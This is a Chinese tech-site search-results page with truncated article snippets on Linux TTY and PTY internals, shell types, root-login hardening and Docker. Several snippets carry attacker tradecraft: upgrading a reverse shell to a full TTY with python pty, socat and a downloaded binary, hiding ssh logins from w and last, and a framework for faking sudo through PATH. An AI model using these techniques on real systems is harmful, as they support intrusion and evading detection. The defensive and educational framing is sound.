首页
学习
活动
专区
圈层
工具
发布

如何将简单的Shell转换成为完全交互式的TTY

除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点: 一些命令如su和ssh,需要一个正确的终端才能运行 通常不显示STDERR 无法正常使用vim等文本编辑器 没有完成标签...; pty.spawn("/bin/bash")' 在创建完成后,我们此时就可以运行su命令了。...如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell: 在kali虚拟机我们运行以下侦听命令: socat file:`tty`,raw,echo...二进制文件下载到一个可写的目录,并通过chmod命令修改文件的执行权限,然后在一行中执行反向shell: wget -q https://github.com/andrew-d/static-binaries...一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行 ? 现在我们来检查当前终端和STTY信息,所以我们可以强制连接到shell并匹配: ?

6.2K40

Web Terminal 预备知识

在 gnome-terminal 中执行 tty 命令,可以看到代表PTY slave的设备文件: [root@kubevirtci web-console]# tty/dev/pts/0 执行 ps...我们简单梳理一下远程终端是如何执行命令的。 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。...bash 的标准输入、标准输出和标准错误都设置为了PTY slave。 当用户在客户端的 terminal 中输入命令 ls -l 和回车键,这些字符经过 PTY master 到达 TTY 驱动。...在服务器端 TTY 驱动将字符序列传送给 PTY slave,bash 从 PTY slave读取字符,解释并执行命令 ls -l。...ls -l 命令的执行结果写入标准输出 PTY slave,然后执行结果通过 TTY 驱动到达 PTY master,再由 ssh server 通过 TCP 连接发送给 ssh client。

2K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    理解Linux 终端、终端模拟器和伪终端

    在 gnome-terminal 中执行 tty 命令,可以看到代表PTY slave的设备文件: $ tty /dev/pts/0 执行 ps -l 命令,也可以确认 shell 关联的伪终端是 pts...注意,bash 在启动时已经将标准输入被设置为了PTY slave bash 解释从输入读取的字符,发现需要运行 ls bash fork 出 ls 进程。...我们简单梳理一下远程终端是如何执行命令的。 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。...当用户在客户端的 terminal 中输入命令 ls -l 和回车键,这些字符经过 PTY master 到达 TTY 驱动。...ls -l 命令的执行结果写入标准输出 PTY slave,然后执行结果通过 TTY 驱动到达 PTY master,再由 ssh server 通过 TCP 连接发送给 ssh client。

    3.9K10

    TTY 到底是个什么玩意?

    每个人都有这么一个“终端”(Terminal, TTY, 在这种语境下可以认为是一个意思啦)。在这里敲下自己要运行的命令,然后发送给系统执行,从系统拿到结果,在纸上打印出结果。...验证2 从反面证明一下,假如说我们在 ssh 登录之前,强行将 ssh 所在的 TTY 开启 isig,那么按下 Ctrl-C ,将会结束 ssh 进程本身,而不是 ssh 内部运行的程序。...因为我这里使用的 ssh 登录本机,所以为了区分是在当前的本地 shell 还是在 ssh 中,我修改了本地 shell 的命令行提示符。...这个图片是在 ssh 登录之后,在另一个 shell 中运行 stty --file /dev/pts/0 isig 对 ssh 所在的 shell 开启 isig。...我几乎将其完全翻译到本文中了 Run interactive Bash with popen and a dedicated TTY Python[11] 这是在 Python 中如何使用 PTY 的一个例子

    2K30

    TAS:一款轻量级tty修改与代码伪造框架

    TAS是一款轻量级框架,在它的帮助下,研究人员可以轻松修改tty并创建伪造的代码。...伪造代码 通过修改PATH环境变量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接运行其他程序,而无需运行用户真正要运行的那个程序。...以root权限运行上述命令之后,fakesudo将会创建一个子进程来执行其中的部分功能模块,并且在进程的主PID中,它会运行原始命令。...将会创建一个子进程来执行其中的部分功能模块,并且在进程的主PID中,它会运行bash -i命令。...leet-shell 在leet-shell这个使用样例中,你可以修改tty输出,它将允许你使用bash(类似1337 h4x0r): [test@alfheim tas]$ make fun/leet-shell

    1.2K20

    Linux 登陆shell,交互shell以及环境变量读取顺序

    一、登陆shell与非登陆shell 登陆shell(login shell):   取得 bash 时需要完整的登陆流程的,就称为 login shell   比如通过ssh方式连接,或者由tty1...PID TTY TIME CMD 77122 pts/1 00:00:00 bash 77157 pts/1 00:00:00 ps ###下面在X windows打开一个终端...(interactive shell)   交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。...在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。...四、其他情形 1、除了读取上述配置文件之外,在登陆shell中还会读取其他相关配置信息,如读取 ~/.bash_history 2、对于shell环境变量修改之后需要立即生效的情形,可以使用source

    2.2K40

    Linux 终端tty pty pts描述

    在使用Linux的过程中,当我们通过ssh或者telnet等方式连接到服务器之后,会有一个相应的终端来对应。而在直接登陆到Linux服务器的时候也有一个对应的终端。...这个通常是在测试环境或者学习环境中被用到。真实的生产环境,一般来说都是使用的非图形界面,因为对与繁忙的生产环境来说,这个图形界面是需要资源开销的,因此省省吧,也就是系统通常运行等级在level 3。...有图形界面也就有文本界面终端,那对于在命令行窗口想要切换到X window的情形,肿么办呢?可以使用startx 来启动图行界面。...前提如下:    已经安装了X Window system,并且X server是能够顺利启动的;    tty7并没有其他的窗口软件正在运行(tty后面会讲到);    启动X所必须要的服务...进入图形界面(tty7):[Ctrl] + [Alt] + [F7] 3、tty(终端设备的统称) tty一词源于Teletypes,或teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息的东西

    8K30

    linux中禁用Root帐户的4种方法

    因此,建议禁用 Linux 服务器中的 root 访问权限,而是创建一个管理帐户,该帐户应配置为使用sudo 命令获得 root 用户权限,以在服务器上执行关键任务。...通过控制台设备 (TTY) 禁用 root 登录 第二种方法使用 PAM 模块调用 pam_securetty,仅当用户登录secure TTY,如列表中所定义 /etc/securetty....上面的文件允许你指定哪个 TTY 允许 root 用户登录的设备,清空此文件可防止在连接到计算机系统的任何设备上进行 root 登录。...在这种情况下,我们希望通过限制对登录和 sshd 服务的访问来禁用 root 用户对系统的访问。首先打开并编辑目标服务中的文件/etc/pam.d/ 目录如图。...> vim /etc/pam.d/loginORsudo vim /etc/pam.d/sshd 接下来,在两个文件中添加以下配置。

    4.8K00

    docker入门使用命令

    docker入门使用命令 作者:matrix 被围观: 98 次 发布时间:2022-06-30 分类:Linux | 无评论 » 目前docker在开发和生产环境中经常使用。...就算不是RD,你在github中总会看到他的身影。很多程序的demo版本都有提供docker镜像,用起来真的很爽。完全看作轻量级别虚拟机。 详细教程最好是自己网上多寻,这里整理下自己经常用到的命令。...# 运行容器 如果没有则创建 docker run centos # 创建同时运行 uname -a命令 docker run centos uname -a # 设定容器名称 docker run...docker run --interactive/-i --tty/-t --name ssh centos docker run -it --name ssh centos # 创建一次性容器...# vue一键打包docker #命令没有bash,命令完成后docker会自行退出,里面的分号;也可以换成&& docker run -it --rm -v ~/localData/讯康/HealthExam_Standard

    22610

    【Linux 操作系统】Ubuntu 基础操作 基础命令 热键 man手册使用 关机 重启等命令使用

    : 这里指的是 使用 startx 命令启动图形化界面的条件; -- tty7空闲 : 在图形界面中没有软件在运行; -- 安装图形界面 : 操作系统必须安装了图形界面; -- 有窗口管理员 : 有窗口管理员...使用SSH连接远程服务器 (1) 使用密码登陆 使用ssh工具 : ssh root@115.28.42.124 命令即可登陆, 在之后提示的地方输入密码 :  octopus@octopus-Vostro...; -- OPTIONS : 列举 语法 中的每一个 参数 和 选项 的值; -- COMMANDS : 程序执行的时候, 在程序法中执行的命令; -- FILES : 程序需要参考的文件; -- SEE..., 现在发出警告, 不关机; 其它命令 :  -- 关机 : halt , poweroff 都是关机命令; -- 通过改变运行等级关机 : init 0, 也可以进行关机; -- 重启 : reboot...; -- 通过改变运行等级重启 : init 6 ; .

    3.3K20

    安全运维之如何找到隐匿于last和w命令中的ssh登录痕迹

    在code-audit 上输入 w 命令显示。 ? 在code-audit 上输入 last 命令显示。 ? 然后我利用一个小trick 将我的ssh登录痕迹隐匿于w 和last 命令中,且看下图。...通过tty 或者pts或者图形界面登录的都会调用utmp 和wtmp 日志记录接口,然后我们在使用w 和last 命令的时候就会发现登录信息 2)ssh -lroot 192.168.12.51 /usr.../bin/bash 为什么不属于交互式会话 ssh -lroot 192.168.12.51 /usr/bin/bash 其实就相当于登录之后直接调用bash这个名,此时系统没有为其分配tty,不算一个完整交互式会话...-T 表示不分配伪终端 (正常的会话,在分配伪终端之后才会调用utmp和wtmp的日志接口) /usr/bin/bash -i 表示在登录之后 调用bash命令 -i 表示是交互式shell 2、如何发现隐匿的...ssh登录行为 如果是隐匿的ssh正在进行,可以通过lsof 或者 netstat 或者ps 命令发现 1)通过lsof发觉异常ssh登录 ?

    1.3K20

    Docker-(2) 常用命令

    本文介绍Docker使用和管理的常用命令,包括镜像的导入导出和使用、容器的使用和暂停、容器的运行和创建日志等。 1....常用命令 注意:命令中方括号中的内容需要自行替换 查看已有的docker 镜像(image)和对应的 IMAGE ID docker images 镜像导入导出删除 # 导入 docker load -...:v1] /bin/bash # 在容器内使用gpu,使用--runtime = nvidia设置选项,或者有些版本如Docker 18用nvidia-docker docker run --runtime...,当你在一个终端输入的时候, # 内容会出现在另一个终端,两个终端是连接在同一个tty上的。...# exec是不会这样的,不同终端连接到不同的tty,退出终端的时候不会关闭container的main process. # 启动未在运行的container docker start [name/id

    36120

    实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty

    >&1 本地接收一下就ok了,但是反弹回来的shell,或多或少都会存在问题,比如当我想使用top命令时就会提示没有 tty。...("/bin/bash")' 可以实现简单的tty,但是这种方式有个问题,当我们ctrl+C的时候,所有连接都会断掉,又需要重新来一遍,而且vim虽然可以用,也有点问题,同时没有记录,无法使用上方向键执行上条命令...:4444 这种方式基本和ssh类似,ctrl+C也不会直接断开。...4. script获取pty 我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim :...$ script /dev/null 如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。

    6.7K21
    领券